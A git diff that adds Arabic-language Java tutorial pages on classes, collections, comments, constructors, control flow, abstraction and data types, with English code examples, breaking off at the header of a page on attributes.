+++ b/client/src/guide/arabic/java/classes-and-objects/index.md
@@ -0,0 +1,83 @@
+---
+title: Classes and Objects
+localeTitle: الطبقات والكائنات
+---
+# الطبقات والكائنات
+
+الفصول هي مجموعات من المتغيرات والعمليات عليها. يمكن أن يكون للفئة متغيرات ، أو طرق (أو وظائف) ، أو منشئات (أو طرق يتم استخدامها للبدء ، أكثر من ذلك لاحقًا!).
+
+قد تحتوي الفئة على أي من أنواع المتغيرات التالية.
+
+*   متغيرات الفئة: هي المتغيرات التي يتم تعريفها داخل تعريف الفئة ، خارج أي أسلوب ، باستخدام الكلمة الأساسية الثابتة. يتم مشاركة متغير فئة عبر كافة مثيلات الفئة. تُعرف متغيرات الصنف أيضًا باسم المتغيرات الساكنة ، حيث يتم إدخالها مرة واحدة فقط في وقت تجميع المجموعة ، ومن ثم تكون نسخة واحدة فقط متاحة لجميع الحالات.
+*   متغيرات المثيل: الاختلاف مع متغيرات الفئة هو أن متغيرات الحالة تتم تهيئتها داخل مُنشئ الفئة ولا يتم مشاركتها عبر جميع الكائنات. في وقت إنشاء مثيل ، يتم إنشاء نسخة جديدة من متغير المثيل.
+
+ `public class Example { 
+ 
+    private static int myVar = 1; // Class Variable 
+ 
+    private int mySecondVar; // Instance Variable 
+    Example(int mySecondVar) { 
+            this.mySecondVar = mySecondVar; // An instance variable must be initialized inside the constructor 
+` 
+
+فكر في `Class` كمخطط لإنشاء شيء ملموس. A `Class` يخبرك كيف 'ما' و 'كيف' ل `object` قال من الدرجة سيبدو مرة واحدة `instantiated` . في جوهرها ، فإنه يحدد `properties` (مثل اللون ، سعة المحرك) `behavior` (توقف ، تسريع ، تغيير التروس ، والسمك إلخ) لسيارة في الحالة أدناه.
+
+الكائنات هي _أمثلة_ لفئة. جميع الكائنات هي أمثلة لفئة معينة. تخيل أن يكون الصف "قالبًا" ، والذي منه ينسخ كل كائن. عندما تقوم بإنشاء كائن ، فإنها تقوم بشكل أساسي بإنشاء كائن جديد في مخطط الفصل. الآن دعونا ننظر إلى هذا في جزء صغير من التعليمات البرمجية:
+
+ `// Car class 
+ public class Car { 
+    // car name 
+    private String name; 
+ 
+    // car manufacturer name 
+    private String manufacturerName; 
+ 
+    // constructor 1 
+    public Car() { 
+    } 
+ 
+    // constructor 2 
+    public Car(String name, String man) { 
+        this.name = name; 
+        this.manufacturerName = man; 
+    } 
+ 
+    // getter name method 
+    public String getName() { 
+        return name; 
+    } 
+ 
+    // getter manufacture method 
+    public String getManufacturerName() { 
+        return manufacturerName; 
+    } 
+ 
+    //setter name method 
+    public void setName(String name){ 
+        this.name = name; 
+    } 
+ 
+    //setter manufacture method 
+    public void setManufacture(String man){ 
+        this.manufacturerName = man; 
+    } 
+ } 
+ 
+ // sample code 
+ 
+ Car modelS = new Car("Model S","Tesla"); 
+ // prints Tesla Model S 
+ System.out.println("Full Car Model S= " + modelS.getManufacturerName() + " : " + modelS.getName()); 
+ 
+ Car modelX = new Car(); 
+ modelX.setName("Model X"); 
+ modelX.setManufacture("BMW"); 
+ // prints Tesla Model X 
+ System.out.println("Full Car Model X= " + modelX.getManufacturerName() + " : " + modelX.getName()); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CJZP/0)
+
+لذا ، `Car` هي فئة ، والتي تحتوي على حقول أو `name` خصائص و `manufacturerName` . `modelS` هو كائن من فئة `Car` . لذلك ، `modelS` أيضًا `modelS` على نفس الخصائص والأساليب.
+
+من المعيار إلى حد كبير ضمان "معلومات" الكائن ، في هذه الحالة `name` المتغيرات `manufacturerName` ، لتكون خاصة ويتم الوصول إليها فقط عن طريق هذه الحاصدين والمستأجرين. هذا يمنع مشكلة في التعليمات البرمجية التصحيح التي تتضمن المتغيرات عضو الكائن. إذا تم الإعلان عن المتغيرات الخاصة بالأعضاء ، ولأي سبب تعطل البرنامج ، يمكنك الحصول على تتبع مكدس معقدة نوعًا ما قد يصعب الإشارة إلى الخطأ. إن تبقي المتغيرات الخاصة ، ولا يمكن الوصول إليها إلا عن طريق الحاصلين على الجوائز والمستأجرين ، سوف تبسط رسالة الخطأ هذه.
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/collections/index.md b/client/src/guide/arabic/java/collections/index.md
new file mode 100644
index 0000000000..f9a35c9f6d
--- /dev/null
+++ b/client/src/guide/arabic/java/collections/index.md
@@ -0,0 +1,116 @@
+---
+title: Collections
+localeTitle: مجموعات
+---
+# مجموعات
+
+مجموعة في Java هي مجموعة من الكائنات التي يمكن طلبها (LinkedList) أو غير مرتبة (مجموعة). توجد واجهة المجموعة في أعلى التسلسل الهرمي وتمتد جميع الطبقات والواجهات الأخرى من هذه الواجهة. وهي تقع في حزمة java.util.
+
+كما تعمل واجهة المجموعة على توسيع واجهة Iterable ، مما يعني أن كل مجموعة في جافا يجب أن تكون قابلة للتكرار. وهذا بدوره يعني أنه يمكن استخدام حلقة for-each لجلبها في تسلسل.
+
+ `public interface Collection<E> extends Iterable<E> 
+` 
+
+بعض الطرق الأكثر شيوعًا التي توفرها هذه الواجهة هي:
+
+ `boolean add(E e) // Adds the specified element to the collection if not present and returns true if this collection changed. 
+ 
+ void clear() // Removes all the elements from the collection. 
+ 
+ boolean contains(Object o) // Returns true if the specified element is in the collection else false 
+ 
+ boolean isEmpty() // Returns true if the collection is empty else false 
+ 
+ boolean remove(Object o) // Removes the specifies element and return true on successful removal else false. 
+ 
+ int size() // Returns number of items in the collection. 
+` 
+
+يجب تنفيذ هذه الطرق وغيرها من الطرق المختلفة من خلال أي واجهة تطبيق جماعية.
+
+## واجهات توسيع واجهة المجموعة
+
+واجهات أخرى مهمة توسيع واجهة المجموعة هي:
+
+جلس: مجموعة تحتوي على عناصر فريدة فقط.
+
+طابور: تنفيذ سلوك قائمة الانتظار حيث يتم إضافة العناصر فقط في البداية وإزالتها من النهاية.
+
+قائمة: هذه المجموعة يعالج قائمة / تسلسل من الكائن.
+
+هذه الواجهات الأربعة (مجموعة ، مجموعة ، قائمة انتظار ، قائمة) مع SortedSet و Deque و NavigableSet تشكل التسلسل الهرمي الجماعي للمجموعة.
+
+# فئة LinkedList
+
+يُعد LinkedList أحد أهم فئات المجموعات التي توفر تطبيقًا قائمًا بشكل مزدوج. وهي تطبق واجهات القائمة ، Deque ، Cloneable و Serializable.
+
+**قم بإنشاء LinkedList**
+
+ `LinkedList<Integer> intList = new LinkedList<Integer>(); // Creates a new list of Integer objects. 
+` 
+
+يمكنك أيضًا إنشاء قائمة بأي نوع كائن آخر. على سبيل المثال.
+
+ `LinkedList<String> stringList = new LinkedList(); 
+ 
+ LinkedList<LinkedList<Integer>> listOfList = new LinkedList(); 
+` 
+
+ملاحظة: تم تحويل جميع المجموعات في Java إلى أنواع عامة منذ 1.5 JDK
+
+**إضافة عناصر إلى القائمة**
+
+ `intList.add(new Integer(1)); // Add 1 to the end. 
+ 
+ intList.add(2); // This works as Java provides autoboxing and unboxing of primitive datatypes and their respective wrapper classes 
+ 
+ intList.addFirst(3); // Add to the beginning of the list 
+ 
+ intList.addLast(2); // Add to the end of the list 
+ 
+ intList.add(2, 5); // Add element 5 at index 2 
+` 
+
+دعونا نطبع القائمة
+
+ `System.out.println(intList); // toString() method is automatically called on the list 
+` 
+
+انتاج: \[3 ، 1 ، 5 ، 2 ، 2\]
+
+**استرداد العناصر من القائمة**
+
+ `intList.get(3); // Returns element at index 3 ie 2 
+ 
+ intList.getFirst(); // Get the first element ie 3 
+ 
+ intList.getLast(); // Returns last element ie 2 
+ 
+ intList.indexOf(2); // Returns first occured index of 2 ie 3 
+ 
+ intList.lastIndexOf(2); // Returns last occured index of 2 ie 4 
+` 
+
+**LinkedList بمثابة مكدس**
+
+بما أن جافا لا توفر منفصلة
+
+ `intList.push(5); // Add element to the end of list. Works same as addLast() 
+ 
+ intList.pop(); // Removes and returns the last element of the list. 
+` 
+
+**إزالة العناصر من القائمة**
+
+ `intList.remove(3); // Removes the element at index 3 of the list 
+ 
+ intList.removeFirst(); // Removes first element of the list 
+ 
+ intList.removeLast(); // Removes last element of the list 
+` 
+
+ملاحظة: جميع الطرق المذكورة أعلاه لإزالة وجلب عنصر إرجاع NoSuchElementException في قائمة فارغة.
+
+#### معلومات اكثر:
+
+*   المصدر: [توثيق Java](https://docs.oracle.com/javase/9/docs/api/overview-summary.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/comments-in-java/index.md b/client/src/guide/arabic/java/comments-in-java/index.md
new file mode 100644
index 0000000000..aa58c9fa50
--- /dev/null
+++ b/client/src/guide/arabic/java/comments-in-java/index.md
@@ -0,0 +1,61 @@
+---
+title: Comments in Java
+localeTitle: تعليقات في جافا
+---
+## تعليقات في جافا
+
+التعليقات في java تشبه مذكرات ما بعد الحفظ الفعلية المستخدمة لعرض بعض المعلومات ، والتي يمكن للمبرمجين أو المطورين الآخرين قراءتها وفهمها.
+
+من الممارسات الجيدة إضافة تعليقات إلى شفرتك ، خاصة عند العمل مع فريق أو في شركة. يساعد ذلك المطورين المستقبليين أو زملائهم في الفريق على معرفة ما يجري بسهولة أكبر عندما ينظرون إلى شفرتك. تجعل التعليقات رمزك أكثر تنظيماً وتنظيماً.
+
+لا يتم تنفيذ تعليقات جافا بواسطة مترجم ومترجم.
+
+### أنواع تعليقات جافا
+
+#### 1\. تعليق خط واحد
+
+لإنشاء خط تعليق واحد فقط إضافة اثنين `//` مائلة قبل النص.
+
+ `// This is how single line comment looks like 
+` 
+
+#### 2\. تعليق متعدد الخط
+
+لإنشاء تعليق تعليق متعدد الأسطر ، يتم وضع الأسطر بين `/*` line هنا `*/`
+
+ `public class MyFirstJava { 
+    public static void main(String[] args) { 
+    /* This Java Code 
+       Prints out "Hello world" 
+       and you are looking at a multi line comment 
+    */ 
+        System.out.println("Hello World"); 
+    } 
+ } 
+` 
+
+#### 3\. تعليق على الوثائق
+
+يتم استخدام تعليق Document بواسطة أداة Javadoc لإنشاء وثائق التعليمة البرمجية. يستخدم Documentation Comment من قبل المطورين لتوثيق التعليمات البرمجية ، مثل ما يفعله الفصل الدراسي أو ما تفعله الطريقة. يتم استخدام هذا بواسطة أداة javadoc التي ستقوم بتجميع مجموعة منسقة مسبقًا من ملفات html تحتوي على كافة المعلومات المتوفرة في التعليق.
+
+ `/** 
+ * The Following Java program displays a random between 0 - 50 
+ * Most Developer dont document simple program like this 
+ * 
+ * @author      Quincy Larson 
+ * @version     1.0 
+ */ 
+ 
+ public class RandomNumbers{ 
+    public static void main(String[] args) { 
+        int random = (int)(Math.random() * 50 + 1); 
+        System.out.println("Hello World"); 
+    } 
+ } 
+` 
+
+#### معلومات اكثر:
+
+*   [موارد جافا](http://guide.freecodecamp.org/java/resources/)
+    
+*   [جمل مثال Javadoc](https://docs.oracle.com/javase/8/docs/api/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/constructors/index.md b/client/src/guide/arabic/java/constructors/index.md
new file mode 100644
index 0000000000..fa846b3b2a
--- /dev/null
+++ b/client/src/guide/arabic/java/constructors/index.md
@@ -0,0 +1,174 @@
+---
+title: Constructors
+localeTitle: الصانعين
+---
+إذا كان هناك نسخ من أحد الفصول ، فما هو الهدف؟ يجب أن أتمكن من تخزين البيانات فيه بشكل صحيح؟
+
+هذا عندما نستخدم إما **getter** (على سبيل المثال ، getName ()) / **setter** (على سبيل المثال ، setName ()) ، أو في هذه الحالة البناءون ، لتهيئة فئة. بشكل أساسي ، تحتوي كل فئة Java على مُنشئ وهو الأسلوب الذي يسمى أولاً عند تهيئة أي كائن من الفئة. فكر في الأمر على أنه رمز صغير.
+
+عند كتابة فصل دراسي بدون أي مُنشئ ، ينشئ المحول البرمجي لـ Java مُنشئًا افتراضيًا:
+
+ `public class Car { 
+    private String name; 
+ } 
+ 
+ Car modelS = new Car(); 
+` 
+
+هذا التهيئة بدون معلمات هي طريقة استدعاء المُنشئ الافتراضي. يمكنك أيضًا الحصول على مُنشئ افتراضي مكتوب بهذه الطريقة:
+
+ `public class Car { 
+    private String name; 
+ 
+    // User Specified Default Constructor 
+    public Car() { 
+        name = "Tesla"; 
+    } 
+ } 
+` 
+
+ثم ، عند استدعاء `new Car()` ، سيتم الحصول على تهيئة `name` المتغير تلقائيًا إلى "Tesla" لمثيل كائن السيارة هذا.
+
+من الواضح أن المنشئات هي بالضبط كما تبدو: فهي تستخدم `construct` أي ، إنشاء كائن من فئة معينة.  
+يشبه البنّاء إعلانات الأسلوب ، لكنهم مختلفون بعض الشيء بمعنى أنهم:
+
+1.  يتم تسمية بالضبط نفس الفئة.
+2.  ليس لديك نوع عودة.
+
+وبالتالي ، فإن الغرض من استخدام `constructors` هو توفير:
+
+1.  طريقة لإنشاء كائن.
+2.  توفير القيم الأولية لخصائص الكائن.
+3.  التحكم في كيفية إنشاء كائن.
+
+دعونا ننظر في مثال آخر. لنفترض أن شركة هوندا (الشركة المصنعة للسيارات) تريد أن يتم تسمية جميع سياراتها باسم `Honda <a name>` . من أجل تنفيذ ذلك ، قد نمثل هذا باستخدام فئة على النحو التالي:
+
+ `public class Car { 
+ 
+    private String name; 
+ 
+    // Constructor. 
+    public Car(String model){ 
+        this.name = "Honda " + model; 
+    } 
+ 
+    public String getName(){ 
+        return this.name; 
+    } 
+ 
+    public static void main(String args[]){ 
+        Car car = new Car("Civic"); 
+        System.out.println( car.getName() ); 
+    } 
+ } 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CTJ4/1)
+
+لاحظ أنه عندما نقوم بكتابة مُنشئ بهذه الطريقة ، أي توفير معلمة ، فنحن نسيطر على (النقطة رقم 3) الطريقة التي يتم بها إنشاء مثيل `Car` . باختصار ، نحن نقول في هذا المثال **أنك يجب أن تقدم اسمًا نموذجيًا للحصول على مثيل لفئة السيارات** .
+
+لماذا هذا مهم؟ هناك أوقات تريد فيها مثيل `one and only one` وفئة `one and only one` للاستخدام في تطبيقك بأكمله. إحدى الطرق لتحقيق ذلك هي باستخدام منشئ `private` .
+
+افترض أنك بحاجة إلى فصل يمثل البنك. لا تريد أن ينشئ الأشخاص مثيلًا `Bank` الإطلاق. لذلك ، يمكنك تصميم صفك:
+
+ `public class Bank { 
+ 
+    private static Bank instance; 
+ 
+    private Bank(){ 
+    } 
+ 
+    public static Bank getInstance(){ 
+        if(null == instance){ 
+            instance = new Bank(); 
+        } 
+        return instance; 
+    } 
+ } 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CTJz/0)
+
+لاحظ أن منشئ `private` . هذا يفرض حقيقة أنه لا يسمح لأي شخص آخر بإنشاء مثيل للبنك.  
+في الواقع ، إذا كنت في فصل آخر ، فحاول:
+
+ `Bank account = new Bank(); // Throws a compilation error: Bank() has private access in Bank. 
+` 
+
+لذلك ، الطريقة الوحيدة للوصول إلى المثيل باستخدام `Bank.getInstance()` . تسمى مثل هذه الحالات `Singleton` منذ أن تحصل على مثيل واحد بالضبط (لكل VM لتكون دقيقة) طوال فترة تطبيقك.
+
+يمكن أن يكون هناك عدد كبير من المنشئات في الفصل. ولكن يجب أن تختلف في المعلمات الأسلوب. هذا هو التحميل الزائد. على وجه الدقة ، نقول أن التحميل الزائد للمنشئ قد حدث عندما يكون هناك نوعان أو أكثر لهما نفس الاسم ، ولكن معلمات طريقة مختلفة. ونتيجة لذلك ، تحتوي الوظيفتان على تواقيع مختلفة للطريقة ويتم التعامل معها بواسطة Java كمنشئات مختلفة تمامًا. فمثلا:
+
+ `public class Car { 
+ 
+    private String name; 
+    private String carType; 
+ 
+    // Constructor. 
+    public Car(){ 
+        this.name = "No Name"; 
+        this.carType = "No Type"; 
+    } 
+    public Car(String model){ 
+        this.name = "Honda " + model; 
+    } 
+ 
+    public Car(String model, String carType){ 
+        this.name = model; 
+        this.carType = carType; 
+    } 
+ 
+    public String getName(){ 
+        return this.name; 
+    } 
+ 
+    public String getCarType(){ 
+        return this.name; 
+    } 
+ 
+    public static void main(String args[]){ 
+        Car car = new Car("Civic"); 
+        System.out.println( car.getName() ); 
+ 
+        // Other Way To Initialize 
+        Car car = new Car("Civic","Sedan"); 
+        System.out.println( car.getName() + " "+ car.getCarType() ); 
+ 
+    } 
+ } 
+` 
+
+لذلك ، الطريقة الوحيدة للوصول إلى المثيل باستخدام `Bank.getInstance()` . تسمى مثل هذه الحالات `Singleton` منذ أن تحصل على مثيل واحد بالضبط (لكل VM لتكون دقيقة) طوال فترة تطبيقك.
+
+## نسخ المنشئ
+
+يعتبر مُنشئ النسخة مُنشئًا يقوم بإنشاء كائن من خلال تهيئته بكائن من نفس الفئة ، والذي تم إنشاؤه مسبقًا. يتم استخدام منشئ النسخ ل-
+
+1.  تهيئة كائن من آخر من نفس النوع.
+2.  انسخ كائن لتمريره كوسيطة للدالة.
+3.  نسخ كائن لإرجاعها من وظيفة. هنا هو برنامج يظهر استخدام بسيط لمنشئ النسخة:
+
+ `class Complex { 
+ 
+    private double re, im; 
+ 
+    // A normal parametrized constructor 
+    public Complex(double re, double im) { 
+        this.re = re; 
+        this.im = im; 
+    } 
+ 
+    // Copy constructor 
+    Complex(Complex c) { 
+        System.out.println("Copy constructor called"); 
+        re = c.re; 
+        im = c.im; 
+    } 
+ 
+    } 
+ } 
+` 
+
+[تشغيل الرمز الكامل](https://repl.it/MwnJ)
+
+// ## Constructor Chaining
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/control-flow/index.md b/client/src/guide/arabic/java/control-flow/index.md
new file mode 100644
index 0000000000..d8866f18e4
--- /dev/null
+++ b/client/src/guide/arabic/java/control-flow/index.md
@@ -0,0 +1,103 @@
+---
+title: Control Flow
+localeTitle: تدفق التحكم
+---
+# تدفق التحكم
+
+بيانات تدفق التحكم هي بالضبط ما يعني المصطلح. وهي عبارة عن عبارات تعمل على تغيير تدفق التنفيذ استنادًا إلى القرارات والحلقات والفروع بحيث يمكن للبرنامج تنفيذ مقاطع التعليمات البرمجية بشكل مشروط.
+
+في المقام الأول ، تحتوي Java على التركيبات التالية للتحكم في التدفق:
+
+*   `if`
+    
+     `if( <expression that results in a boolean> ){ 
+        //code enters this block if the above expression is 'true' 
+     } 
+    ` 
+    
+*   `if...else`
+    
+     `if( <expression that results in a boolean> ){ 
+        //execute this block if the expression is 'true' 
+     } else{ 
+        //execute this block if the expression is 'false' 
+     } 
+    ` 
+    
+*   `switch`
+    
+
+يعد التبديل خيارًا بديلًا `if...else` إنشاء `if...else` عند وجود قيم وحالات متعددة للتحقق منها.
+
+ `switch( <integer / String / Enum > ){ 
+    case <int/String/Enum>: 
+        <statements> 
+        break; 
+    case <int/String/Enum>: 
+        <statements> 
+        break; 
+    default: 
+        <statements> 
+ } 
+` 
+
+ملاحظة: `falls through` تدفق البرنامج `falls through` `case` التالية إذا كان بيان `break` مفقودًا. على سبيل المثال ، دعنا نقول أنك تقول "مرحباً" لكل شخص في المكتب ، لكنك لطيف جداً للفتاة التي تجلس إلى جانبك وتسمع صوت غاضب إلى رئيسك في العمل. طريقة التمثيل ستكون شيئًا مثل:
+
+ `switch(person){ 
+    case 'boss': 
+        soundGrumpy(); 
+        break; 
+    case 'neighbour': 
+        soundExtraNice(); 
+        break; 
+    case 'colleague': 
+        soundNormal(); 
+        break; 
+    default: 
+        soundNormal(); 
+ } 
+` 
+
+ ``Note: The `default` case runs when none of the `case` matches. Remember that when a case has no `break` statement, it `falls through` to the next case and will continue to the subsequent `cases` till a `break` is encountered. Because of this, make sure that each case has a `break` statement. The `default` case does not require a `break` statement. 
+`` 
+
+*   `nested statements`
+
+يمكن أن يتداخل أي من تدفقات التحكم السابقة. مما يعني أنه يمكن أن تكون متداخلة `if` ، `if` `if..else` ... بيانات `switch..case` . أي ، يمكن أن يكون لديك أي مجموعة من هذه العبارات داخل الآخر ولا يوجد أي قيود على عمق `nesting` .
+
+على سبيل المثال ، دعنا نفكر في السيناريو التالي:
+
+*   إذا كان لديك أقل من 25 دولارات ، يمكنك الحصول على كوب من القهوة.
+*   إذا كان لديك أكثر من 25 دولارات ولكن أقل من 60 دولارات ، يمكنك الحصول على وجبة محترمة لنفسك.
+*   إذا كان لديك أكثر من 60 دولارات ولكن أقل من 100 ، يمكنك الحصول على وجبة لائقة مع كوب من النبيذ.
+*   ومع ذلك ، عندما يكون لديك أكثر من 100 دولار ، اعتمادا على من أنت معه ، إما الذهاب لتناول العشاء على ضوء الشموع (مع زوجتك) أو تذهب إلى شريط الرياضية (مع أصدقائك).
+
+تتمثل إحدى الطرق لتمثيل ذلك في:
+
+ `int cash = 150; 
+ String company = "friends"; 
+ 
+ if( cash < 25 ){ 
+    getCoffee(); 
+ } else if( cash < 60 ){ 
+    getDecentMeal(); 
+ } else if( cash < 100 ){ 
+    getDecentMeal(); 
+    getGlassOfWine(); 
+ } else { 
+    switch(company){ 
+        case "wife": 
+            candleLitDinner(); 
+            break; 
+        case "friends": 
+            meetFriendsAtSportsBar(); 
+            break; 
+        default: 
+            getDecentMeal(); 
+    } 
+ } 
+` 
+
+في هذا المثال ، سيتم تنفيذ `meetFriendsAtSportsBar()` .
+
+![:rocket:](https://forum.freecodecamp.org/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CJZi/1)
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/data-abstraction/index.md b/client/src/guide/arabic/java/data-abstraction/index.md
new file mode 100644
index 0000000000..e39655cf5b
--- /dev/null
+++ b/client/src/guide/arabic/java/data-abstraction/index.md
@@ -0,0 +1,16 @@
+---
+title: Data Abstraction
+localeTitle: تجريد البيانات
+---
+## فريف
+
+حسب القاموس ، التجريد هو نوعية التعامل مع الأفكار بدلاً من الأحداث.
+
+وبالمثل في البرمجة الموجهة للكائنات ، فإن التجريد عبارة عن عملية لإخفاء تفاصيل التنفيذ من المستخدم ، وسيتم توفير الوظيفة فقط للمستخدم. بمعنى آخر ، سيكون لدى المستخدم المعلومات حول ما يفعله الكائن بدلاً من كيفية عمله.
+
+في جافا ، يتم تحقيق التجريد باستخدام الطبقات المجردة والواجهات.
+
+## مصادر
+
+[دروس خصوصية - جاوة الطبقات وواجهات مجردة](https://www.tutorialspoint.com/java/java_abstraction.htm)  
+[Java Tutorials - Java Abstract methods and classes](https://docs.oracle.com/javase/tutorial/java/IandI/abstract.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/data-types/index.md b/client/src/guide/arabic/java/data-types/index.md
new file mode 100644
index 0000000000..cba0bfad6f
--- /dev/null
+++ b/client/src/guide/arabic/java/data-types/index.md
@@ -0,0 +1,203 @@
+---
+title: Data Types
+localeTitle: أنواع البيانات
+---
+# أنواع البيانات
+
+جافا هي لغة مكتوبة بقوة. هذا يعني أنه في Java ، يكون لكل نوع بيانات تعريف خاص به. لا توجد تحويلات نوع بيانات ضمنية عند حدوث أي تعارضات بين أنواع البيانات. أي تغيير في أنواع البيانات يجب أن يتم التصريح به صراحة من قبل المبرمج.
+
+تقوم Java بتعريف 8 أنواع من البيانات البدائية: `byte` ، `short` ، `int` ، `long` ، `char` ، `float` ، `double` و `boolean` .
+
+وهي مقسمة إلى الفئات التالية:
+
+*   الأعداد الصحيحة
+*   أرقام النقطة العائمة
+*   الشخصيات
+*   اكتب منطقي
+
+تفاصيل كل نوع من أنواع البيانات مذكورة أدناه:
+
+## الأعداد الصحيحة:
+
+هذه هي من أربعة أنواع: `byte` ، `short` ، `int` ، `long` . من المهم ملاحظة أن هذه القيم موجبة وسالبة. يتم تخزين الأعداد الصحيحة في جهاز الكمبيوتر باستخدام [مكمل 2](http://www.ele.uri.edu/courses/ele447/proj_pages/divid/twos.html) . ويتكون من قيم سلبية وإيجابية ولكن بصيغ مختلفة مثل `(-1 to -128)` أو `(0 to +127)` . يمكن أن يحتوى عدد صحيح غير موقعة على قيمة موجبة أكبر ، ولا توجد قيمة سالبة مثل `(0 to 255)` . على عكس C ++ لا يوجد عدد صحيح غير موقعة في Java.
+
+### بايت:
+
+نوع البيانات بايت هو عدد صحيح مكمل 8 بت موقعة اثنين.
+
+ `Wrapper Class: Byte 
+ 
+ Minimum value: -128 (-2^7) 
+ 
+ Maximum value: 127 (2^7 -1) 
+ 
+ Default value: 0 
+ 
+ Example: byte a = 10 , byte b = -50; 
+` 
+
+### قصيرة:
+
+نوع البيانات القصير هو عدد صحيح مكمل من 16 بت موقعة اثنين.
+
+ `Wrapper Class: Short 
+ 
+ Minimum value: -32,768 (-2^15) 
+ 
+ Maximum value: 32,767 (2^15 -1) 
+ 
+ Default value: 0. 
+ 
+ Example: short s = 10, short r = -1000; 
+` 
+
+### الباحث:
+
+نوع البيانات IN هو عدد صحيح مكمل 32 بت موقعة اثنين. يتم استخدامه بشكل عام كنوع بيانات افتراضي للقيم المتكاملة إلا إذا كان هناك قلق حول الذاكرة.
+
+ `Wrapper Class: Integer 
+ 
+ Minimum value: (-2^31) 
+ 
+ Maximum value: (2^31 -1) 
+ 
+ The default value: 0. 
+ 
+ Example: int a = 50000, int b = -20 
+` 
+
+### طويل:
+
+نوع بيانات طويل هو عدد صحيح مكمل 64 بت موقعة اثنين.
+
+ `Wrapper Class: Long 
+ 
+ Minimum value: (-2^63) 
+ 
+ Maximum value: (2^63 -1) 
+ 
+ Default value: 0L. 
+ 
+ Example: long a = 100000L, long b = -600000L; 
+ 
+ By default all integer type variable is "int". So long num=600851475143  will give an error. 
+ But it can be specified as long by appending the suffix L (or l) 
+` 
+
+## نقطة عائمة:
+
+تسمى هذه أيضًا أرقامًا حقيقية وتستخدم للتعبيرات التي تتضمن دقة كسرية. هذه من نوعين: `float` ، `double` . يتم تجنب Float فعليًا في حالة البيانات الدقيقة مثل بيانات العملات أو الأبحاث.
+
+### تطفو:
+
+نوع بيانات عائم عبارة عن [نقطة عائمة IEEE 754](http://steve.hollasch.net/cgindex/coding/ieeefloat.html) ذات دقة واحدة 32 بت.
+
+ `Wrapper Class: Float 
+ 
+ Float is mainly used to save memory in large arrays of floating point numbers. 
+ 
+ Default value: 0.0f. 
+ 
+ Example: float f1 = 24.5f; 
+ 
+ The default data type of floating-point number is double. So float f = 24.5 will introduce an error. 
+ However, we can append the suffix F (or f) to designate the data type as float. 
+` 
+
+### مزدوج:
+
+نوع بيانات مزدوج هو [نقطة عائم IEEE 754](http://steve.hollasch.net/cgindex/coding/ieeefloat.html) مزدوجة الدقة 64 بت. عادةً ما يكون نوع البيانات هذا هو الخيار الافتراضي. يجب عدم استخدام نوع البيانات هذا مطلقًا للقيم الدقيقة ، مثل العملة.
+
+ `Wrapper Class: Double 
+ 
+ This data type is generally used as the default data type for decimal values. 
+ 
+ Default value: 0.0d. 
+ 
+ Example: double d1 = 123.400778; 
+` 
+
+## حرف:
+
+نستخدم نوع البيانات هذا لتخزين الأحرف. هذا ليس هو نفسه مثل شار في C / C ++. تستخدم Java مجموعة `UNICODE` ، مجموعة الأحرف المقبولة دوليًا. شار في جاوة هو 16 بت في حين أن في C / C ++ 8 بت.
+
+ `Wrapper Class: Character 
+ 
+ Minimum value: '\u0000' (or 0). 
+ 
+ Maximum value: '\uffff' (or 65,535). 
+ 
+ Default value: null ('\u0000'). 
+ 
+ Example: char letterA ='a'; 
+` 
+
+## منطقية:
+
+يستخدم هذا لتخزين القيم المنطقية. يمكن أن يكون للنوع المنطقي قيمة صحيحة أو خاطئة. يتم إرجاع هذا النوع بشكل عام بواسطة عوامل العلائقية.
+
+ `There are only two possible values: true and false. 
+ 
+ Wrapper Class: Boolean 
+ 
+ This data type is used for simple flags that track true/false conditions. 
+ 
+ Default value is false. 
+ 
+ Example: boolean b = true, boolean b1 = 1(this is not possible in java and give incompatible type error), boolean b2; 
+` 
+
+## أنواع البيانات المرجعية:
+
+بصرف النظر عن أنواع البيانات البدائية ، هناك متغيرات مرجعية تم إنشاؤها باستخدام أدوات بناء من فئات مختلفة. يتم استخدام المتغيرات المرجعية لأي فئة بالإضافة إلى الصفيف ، السلسلة ، الماسح الضوئي ، العشوائي ، إلخ. يتم تهيئة المتغيرات المرجعية باستخدام الكلمة الأساسية الجديدة.
+
+مثال:
+
+ `public class Box{ 
+ 
+    int length, breadth, height; 
+ 
+    public Box(){ 
+        length=5; 
+        breadth=3; 
+        height=2; 
+    } 
+ } 
+ 
+ class demo{ 
+ 
+    public static void main(String args[]) { 
+        Box box1 = new Box();                //box1 is the reference variable 
+        char[] arr = new char[10];           //arr is the reference variable 
+    } 
+ } 
+` 
+
+## خيط:
+
+لا يعد String نوع بيانات أولية ، ولكنه يسمح لك بتخزين أنواع متعددة من بيانات الأحرف في صفيف ولديه العديد من الطرق التي يمكن استخدامها. يتم استخدامه بشكل شائع عند قيام المستخدم بكتابة البيانات ويجب عليك التلاعب بها.
+
+في المثال أدناه ، نحاول إزالة جميع الأحرف من السلسلة وإخراجها:
+
+ `String input = "My birthday is 10 January 1984 and my favorite number is 42"; 
+ String output = ""; 
+ 
+ for(int i=0;i<input.length();i++){ 
+ 
+ //if the character at index i on the string is a letter or a space, move on to the next index 
+ if(Character.isLetter(input.charAt(i)) || input.charAt(i)==' '){ 
+ 
+    continue; 
+ } 
+ 
+ output = output + input.charAt(i); //the number is added onto the output 
+ 
+ } 
+ 
+ System.out.println(output); 
+` 
+
+انتاج:
+
+ `10198442 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/defining-attributes/index.md b/client/src/guide/arabic/java/defining-attributes/index.md
new file mode 100644
index 0000000000..816e0b012f
--- /dev/null
+++ b/client/src/guide/arabic/java/defining-attributes/index.md
@@ -0,0 +1,48 @@
+---
+title: Defining Attributes
